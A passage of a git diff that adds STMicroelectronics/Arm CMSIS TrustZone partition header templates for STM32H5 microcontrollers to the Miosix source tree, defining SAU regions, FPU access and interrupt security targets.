SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32H562XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h563xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h563xx.h new file mode 100644 index 000000000..352af4c68 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h563xx.h @@ -0,0 +1,683 @@ +/** + ****************************************************************************** + * @file partition_stm32h563xx.h + * @author MCD Application Team + * @brief CMSIS STM32H563xx Device Header File for Initial Setup for Secure / + * Non-Secure Zones for ARMCM33 based on CMSIS CORE partition_ARMCM33.h + * Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32H563XX_H +#define PARTITION_STM32H563XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C0FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C0FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08100000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x081FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x20050000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x2009FFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of SAU region 4 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END4 0x9FFFFFFF /* end address of SAU region 4 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC4 0 +/* +// +*/ + +/* +// Initialize SAU Region 5 +// Setup SAU Region 5 memory attributes +*/ +#define SAU_INIT_REGION5 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START5 0x0BF90000 /* start address of SAU region 5 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END5 0x0BFA8FFF /* end address of SAU region 5 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC5 0 +/* +// +*/ + +/* +// Initialize SAU Region 6 +// Setup SAU Region 6 memory attributes +*/ +#define SAU_INIT_REGION6 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START6 0x00000000 /* start address of SAU region 6 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END6 0x00000000 /* end address of SAU region 6 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC6 0 +/* +// +*/ + +/* +// Initialize SAU Region 7 +// Setup SAU Region 7 memory attributes +*/ +#define SAU_INIT_REGION7 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START7 0x00000000 /* start address of SAU region 7 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END7 0x00000000 /* end address of SAU region 7 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC7 0 +/* +// +*/ + +/* +// +*/ + +/* +// Setup behaviour of Sleep and Exception Handling +*/ +#define SCB_CSR_AIRCR_INIT 0 + +/* +// Deep Sleep can be enabled by +// <0=>Secure and Non-Secure state +// <1=>Secure state only +// Value for SCB->CSR register bit DEEPSLEEPS +*/ +#define SCB_CSR_DEEPSLEEPS_VAL 0 + +/* +// System reset request accessible from +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for SCB->AIRCR register bit SYSRESETREQS +*/ +#define SCB_AIRCR_SYSRESETREQS_VAL 0 + +/* +// Priority of Non-Secure exceptions is +// <0=> Not altered +// <1=> Lowered to 0x04-0x07 +// Value for SCB->AIRCR register bit PRIS +*/ +#define SCB_AIRCR_PRIS_VAL 0 + +/* +// BusFault, HardFault, and NMI target +// <0=> Secure state +// <1=> Non-Secure state +// Value for SCB->AIRCR register bit BFHFNMINS +*/ +#define SCB_AIRCR_BFHFNMINS_VAL 0 + +/* +// +*/ + +/* +// Setup behaviour of Floating Point Unit +*/ +#define TZ_FPU_NS_USAGE 1 + +/* +// Floating Point Unit usage +// <0=> Secure state only +// <3=> Secure and Non-Secure state +// Value for SCB->NSACR register bits CP10, CP11 +*/ +#define SCB_NSACR_CP10_11_VAL 3 + +/* +// Treat floating-point registers as Secure +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit TS +*/ +#define FPU_FPCCR_TS_VAL 0 + +/* +// Clear on return (CLRONRET) accessibility +// <0=> Secure and Non-Secure state +// <1=> Secure state only +// Value for FPU->FPCCR register bit CLRONRETS +*/ +#define FPU_FPCCR_CLRONRETS_VAL 0 + +/* +// Clear floating-point caller saved registers on exception return +// <0=> Disabled +// <1=> Enabled +// Value for FPU->FPCCR register bit CLRONRET +*/ +#define FPU_FPCCR_CLRONRET_VAL 1 + +/* +// +*/ + +/* +// Setup Interrupt Target +*/ + +/* +// Initialize ITNS 0 (Interrupts 0..31) +*/ +#define NVIC_INIT_ITNS0 1 + +/* +// Interrupts 0..31 +// WWDG_IRQn <0=> Secure state <1=> Non-Secure state +// PVD_AVD_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_IRQn <0=> Secure state <1=> Non-Secure state +// RTC_S_IRQn <0=> Secure state <1=> Non-Secure state +// TAMP_IRQn <0=> Secure state <1=> Non-Secure state +// RAMCFG_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_IRQn <0=> Secure state <1=> Non-Secure state +// FLASH_S_IRQn <0=> Secure state <1=> Non-Secure state +// GTZC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_IRQn <0=> Secure state <1=> Non-Secure state +// RCC_S_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI0_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI1_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI2_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI3_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI4_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI5_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI6_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI7_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI8_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI9_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI10_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI11_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI12_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI13_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI14_IRQn <0=> Secure state <1=> Non-Secure state +// EXTI15_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS0_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 1 (Interrupts 32..63) +*/ +#define NVIC_INIT_ITNS1 1 + +/* +// Interrupts 32..63 +// GPDMA1_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA1_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// IWDG_IRQn <0=> Secure state <1=> Non-Secure state +// ADC1_IRQn <0=> Secure state <1=> Non-Secure state +// DAC1_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN1_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM1_CC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM3_IRQn <0=> Secure state <1=> Non-Secure state +// TIM4_IRQn <0=> Secure state <1=> Non-Secure state +// TIM5_IRQn <0=> Secure state <1=> Non-Secure state +// TIM6_IRQn <0=> Secure state <1=> Non-Secure state +// TIM7_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C2_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SPI2_IRQn <0=> Secure state <1=> Non-Secure state +// SPI3_IRQn <0=> Secure state <1=> Non-Secure state +// USART1_IRQn <0=> Secure state <1=> Non-Secure state +// USART2_IRQn <0=> Secure state <1=> Non-Secure state +// USART3_IRQn <0=> Secure state <1=> Non-Secure state +// UART4_IRQn <0=> Secure state <1=> Non-Secure state +// UART5_IRQn <0=> Secure state <1=> Non-Secure state +// LPUART1_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS1_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 2 (Interrupts 64..95) +*/ +#define NVIC_INIT_ITNS2 1 + +/* +// Interrupts 64..95 +// LPTIM1_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_BRK_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_UP_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_TRG_COM_IRQn <0=> Secure state <1=> Non-Secure state +// TIM8_CC_IRQn <0=> Secure state <1=> Non-Secure state +// ADC2_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM2_IRQn <0=> Secure state <1=> Non-Secure state +// TIM15_IRQn <0=> Secure state <1=> Non-Secure state +// TIM16_IRQn <0=> Secure state <1=> Non-Secure state +// TIM17_IRQn <0=> Secure state <1=> Non-Secure state +// USB_DRD_FS_IRQn <0=> Secure state <1=> Non-Secure state +// CRS_IRQn <0=> Secure state <1=> Non-Secure state +// UCPD1_IRQn <0=> Secure state <1=> Non-Secure state +// FMC_IRQn <0=> Secure state <1=> Non-Secure state +// OCTOSPI1_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC1_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C3_ER_IRQn <0=> Secure state <1=> Non-Secure state +// SPI4_IRQn <0=> Secure state <1=> Non-Secure state +// SPI5_IRQn <0=> Secure state <1=> Non-Secure state +// SPI6_IRQn <0=> Secure state <1=> Non-Secure state +// USART6_IRQn <0=> Secure state <1=> Non-Secure state +// USART10_IRQn <0=> Secure state <1=> Non-Secure state +// USART11_IRQn <0=> Secure state <1=> Non-Secure state +// SAI1_IRQn <0=> Secure state <1=> Non-Secure state +// SAI2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel0_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel1_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel2_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel3_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel4_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel5_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS2_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 3 (Interrupts 96..127) +*/ +#define NVIC_INIT_ITNS3 1 + +/* +// Interrupts 96..127 +// GPDMA2_Channel6_IRQn <0=> Secure state <1=> Non-Secure state +// GPDMA2_Channel7_IRQn <0=> Secure state <1=> Non-Secure state +// UART7_IRQn <0=> Secure state <1=> Non-Secure state +// UART8_IRQn <0=> Secure state <1=> Non-Secure state +// UART9_IRQn <0=> Secure state <1=> Non-Secure state +// UART12_IRQn <0=> Secure state <1=> Non-Secure state +// SDMMC2_IRQn <0=> Secure state <1=> Non-Secure state +// FPU_IRQn <0=> Secure state <1=> Non-Secure state +// ICACHE_IRQn <0=> Secure state <1=> Non-Secure state +// DCACHE_IRQn <0=> Secure state <1=> Non-Secure state +// ETH_IRQn <0=> Secure state <1=> Non-Secure state +// ETH_WKUP_IRQn <0=> Secure state <1=> Non-Secure state +// DCMI_PSSI_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN2_IT0_IRQn <0=> Secure state <1=> Non-Secure state +// FDCAN2_IT1_IRQn <0=> Secure state <1=> Non-Secure state +// CORDIC_IRQn <0=> Secure state <1=> Non-Secure state +// FMAC_IRQn <0=> Secure state <1=> Non-Secure state +// DTS_IRQn <0=> Secure state <1=> Non-Secure state +// RNG_IRQn <0=> Secure state <1=> Non-Secure state +// HASH_IRQn <0=> Secure state <1=> Non-Secure state +// CEC_IRQn <0=> Secure state <1=> Non-Secure state +// TIM12_IRQn <0=> Secure state <1=> Non-Secure state +// TIM13_IRQn <0=> Secure state <1=> Non-Secure state +// TIM14_IRQn <0=> Secure state <1=> Non-Secure state +// I3C1_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I3C1_ER_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_EV_IRQn <0=> Secure state <1=> Non-Secure state +// I2C4_ER_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM3_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS3_VAL 0x00000000 + +/* +// +*/ + +/* +// Initialize ITNS 4 (Interrupts 128..130) +*/ +#define NVIC_INIT_ITNS4 1 + +/* +// Interrupts 128..130 +// LPTIM4_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM5_IRQn <0=> Secure state <1=> Non-Secure state +// LPTIM6_IRQn <0=> Secure state <1=> Non-Secure state +*/ +#define NVIC_INIT_ITNS4_VAL 0x00000000 + +/* +// +*/ + +/* +// +*/ + +/* + max 8 SAU regions. + SAU regions are defined in partition.h + */ + +#define SAU_INIT_REGION(n) \ + SAU->RNR = (n & SAU_RNR_REGION_Msk); \ + SAU->RBAR = (SAU_INIT_START##n & SAU_RBAR_BADDR_Msk); \ + SAU->RLAR = (SAU_INIT_END##n & SAU_RLAR_LADDR_Msk) | \ + ((SAU_INIT_NSC##n << SAU_RLAR_NSC_Pos) & SAU_RLAR_NSC_Msk) | 1U + +/** + \brief Setup a SAU Region + \details Writes the region information contained in SAU_Region to the + registers SAU_RNR, SAU_RBAR, and SAU_RLAR + */ +__STATIC_INLINE void TZ_SAU_Setup (void) +{ + +#if defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) + + #if defined (SAU_INIT_REGION0) && (SAU_INIT_REGION0 == 1U) + SAU_INIT_REGION(0); + #endif + + #if defined (SAU_INIT_REGION1) && (SAU_INIT_REGION1 == 1U) + SAU_INIT_REGION(1); + #endif + + #if defined (SAU_INIT_REGION2) && (SAU_INIT_REGION2 == 1U) + SAU_INIT_REGION(2); + #endif + + #if defined (SAU_INIT_REGION3) && (SAU_INIT_REGION3 == 1U) + SAU_INIT_REGION(3); + #endif + + #if defined (SAU_INIT_REGION4) && (SAU_INIT_REGION4 == 1U) + SAU_INIT_REGION(4); + #endif + + #if defined (SAU_INIT_REGION5) && (SAU_INIT_REGION5 == 1U) + SAU_INIT_REGION(5); + #endif + + #if defined (SAU_INIT_REGION6) && (SAU_INIT_REGION6 == 1U) + SAU_INIT_REGION(6); + #endif + + #if defined (SAU_INIT_REGION7) && (SAU_INIT_REGION7 == 1U) + SAU_INIT_REGION(7); + #endif + + /* repeat this for all possible SAU regions */ + +#endif /* defined (__SAUREGION_PRESENT) && (__SAUREGION_PRESENT == 1U) */ + + + #if defined (SAU_INIT_CTRL) && (SAU_INIT_CTRL == 1U) + SAU->CTRL = ((SAU_INIT_CTRL_ENABLE << SAU_CTRL_ENABLE_Pos) & SAU_CTRL_ENABLE_Msk) | + ((SAU_INIT_CTRL_ALLNS << SAU_CTRL_ALLNS_Pos) & SAU_CTRL_ALLNS_Msk) ; + #endif + + #if defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) + SCB->SCR = (SCB->SCR & ~(SCB_SCR_SLEEPDEEPS_Msk )) | + ((SCB_CSR_DEEPSLEEPS_VAL << SCB_SCR_SLEEPDEEPS_Pos) & SCB_SCR_SLEEPDEEPS_Msk); + + SCB->AIRCR = (SCB->AIRCR & ~(SCB_AIRCR_VECTKEY_Msk | SCB_AIRCR_SYSRESETREQS_Msk | + SCB_AIRCR_BFHFNMINS_Msk | SCB_AIRCR_PRIS_Msk) ) | + ((0x05FAU << SCB_AIRCR_VECTKEY_Pos) & SCB_AIRCR_VECTKEY_Msk) | + ((SCB_AIRCR_SYSRESETREQS_VAL << SCB_AIRCR_SYSRESETREQS_Pos) & SCB_AIRCR_SYSRESETREQS_Msk) | + ((SCB_AIRCR_PRIS_VAL << SCB_AIRCR_PRIS_Pos) & SCB_AIRCR_PRIS_Msk) | + ((SCB_AIRCR_BFHFNMINS_VAL << SCB_AIRCR_BFHFNMINS_Pos) & SCB_AIRCR_BFHFNMINS_Msk); + #endif /* defined (SCB_CSR_AIRCR_INIT) && (SCB_CSR_AIRCR_INIT == 1U) */ + + #if defined (__FPU_USED) && (__FPU_USED == 1U) && \ + defined (TZ_FPU_NS_USAGE) && (TZ_FPU_NS_USAGE == 1U) + + SCB->NSACR = (SCB->NSACR & ~(SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)) | + ((SCB_NSACR_CP10_11_VAL << SCB_NSACR_CP10_Pos) & (SCB_NSACR_CP10_Msk | SCB_NSACR_CP11_Msk)); + + FPU->FPCCR = (FPU->FPCCR & ~(FPU_FPCCR_TS_Msk | FPU_FPCCR_CLRONRETS_Msk | FPU_FPCCR_CLRONRET_Msk)) | + ((FPU_FPCCR_TS_VAL << FPU_FPCCR_TS_Pos ) & FPU_FPCCR_TS_Msk ) | + ((FPU_FPCCR_CLRONRETS_VAL << FPU_FPCCR_CLRONRETS_Pos) & FPU_FPCCR_CLRONRETS_Msk) | + ((FPU_FPCCR_CLRONRET_VAL << FPU_FPCCR_CLRONRET_Pos ) & FPU_FPCCR_CLRONRET_Msk ); + #endif + + #if defined (NVIC_INIT_ITNS0) && (NVIC_INIT_ITNS0 == 1U) + NVIC->ITNS[0] = NVIC_INIT_ITNS0_VAL; + #endif + + #if defined (NVIC_INIT_ITNS1) && (NVIC_INIT_ITNS1 == 1U) + NVIC->ITNS[1] = NVIC_INIT_ITNS1_VAL; + #endif + + #if defined (NVIC_INIT_ITNS2) && (NVIC_INIT_ITNS2 == 1U) + NVIC->ITNS[2] = NVIC_INIT_ITNS2_VAL; + #endif + + #if defined (NVIC_INIT_ITNS3) && (NVIC_INIT_ITNS3 == 1U) + NVIC->ITNS[3] = NVIC_INIT_ITNS3_VAL; + #endif + + #if defined (NVIC_INIT_ITNS4) && (NVIC_INIT_ITNS4 == 1U) + NVIC->ITNS[4] = NVIC_INIT_ITNS4_VAL; + #endif + +} + +#endif /* PARTITION_STM32H563XX_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h573xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h573xx.h new file mode 100644 index 000000000..aac40b686 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/Templates/partition_stm32h573xx.h @@ -0,0 +1,687 @@ +/** + ****************************************************************************** + * @file partition_stm32h573xx.h + * @author MCD Application Team + * @brief CMSIS STM32H573xx Device Header File for Initial Setup for Secure / + * Non-Secure Zones for ARMCM33 based on CMSIS CORE partition_ARMCM33.h + * Template. + * + * This file contains: + * - Initialize Security Attribution Unit (SAU) CTRL register + * - Setup behavior of Sleep and Exception Handling + * - Setup behavior of Floating Point Unit + * - Setup Interrupt Target + * + ****************************************************************************** + * Copyright (c) 2009-2019 Arm Limited. All rights reserved. + * Copyright (c) 2023 STMicroelectronics. All rights reserved. + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the License); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an AS IS BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ****************************************************************************** + */ + +#ifndef PARTITION_STM32H573XX_H +#define PARTITION_STM32H573XX_H + +/* +//-------- <<< Use Configuration Wizard in Context Menu >>> ----------------- +*/ + +/* +// Initialize Security Attribution Unit (SAU) CTRL register +*/ +#define SAU_INIT_CTRL 1 + +/* +// Enable SAU +// Value for SAU->CTRL register bit ENABLE +*/ +#define SAU_INIT_CTRL_ENABLE 0 + +/* +// When SAU is disabled +// <0=> All Memory is Secure +// <1=> All Memory is Non-Secure +// Value for SAU->CTRL register bit ALLNS +// When all Memory is Non-Secure (ALLNS is 1), IDAU can override memory map configuration. +*/ +#define SAU_INIT_CTRL_ALLNS 1 + +/* +// +*/ + +/* +// Initialize Security Attribution Unit (SAU) Address Regions +// SAU configuration specifies regions to be one of: +// - Secure and Non-Secure Callable +// - Non-Secure +// Note: All memory regions not configured by SAU are Secure +*/ +#define SAU_REGIONS_MAX 8 /* Max. number of SAU regions */ + +/* +// Initialize SAU Region 0 +// Setup SAU Region 0 memory attributes +*/ +#define SAU_INIT_REGION0 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START0 0x0C0FE000 /* start address of SAU region 0 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END0 0x0C0FFFFF /* end address of SAU region 0 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC0 1 +/* +// +*/ + +/* +// Initialize SAU Region 1 +// Setup SAU Region 1 memory attributes +*/ +#define SAU_INIT_REGION1 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START1 0x08100000 /* start address of SAU region 1 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END1 0x081FFFFF /* end address of SAU region 1 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC1 0 +/* +// +*/ + +/* +// Initialize SAU Region 2 +// Setup SAU Region 2 memory attributes +*/ +#define SAU_INIT_REGION2 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START2 0x20050000 /* start address of SAU region 2 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END2 0x2009FFFF /* end address of SAU region 2 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC2 0 +/* +// +*/ + +/* +// Initialize SAU Region 3 +// Setup SAU Region 3 memory attributes +*/ +#define SAU_INIT_REGION3 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START3 0x40000000 /* start address of SAU region 3 */ + +/* +// End Address <0x1F-0xFFFFFFFF> +*/ +#define SAU_INIT_END3 0x4FFFFFFF /* end address of SAU region 3 */ + +/* +// Region is +// <0=>Non-Secure +// <1=>Secure, Non-Secure Callable +*/ +#define SAU_INIT_NSC3 0 +/* +// +*/ + +/* +// Initialize SAU Region 4 +// Setup SAU Region 4 memory attributes +*/ +#define SAU_INIT_REGION4 0 + +/* +// Start Address <0-0xFFFFFFE0> +*/ +#define SAU_INIT_START4 0x60000000 /* start address of 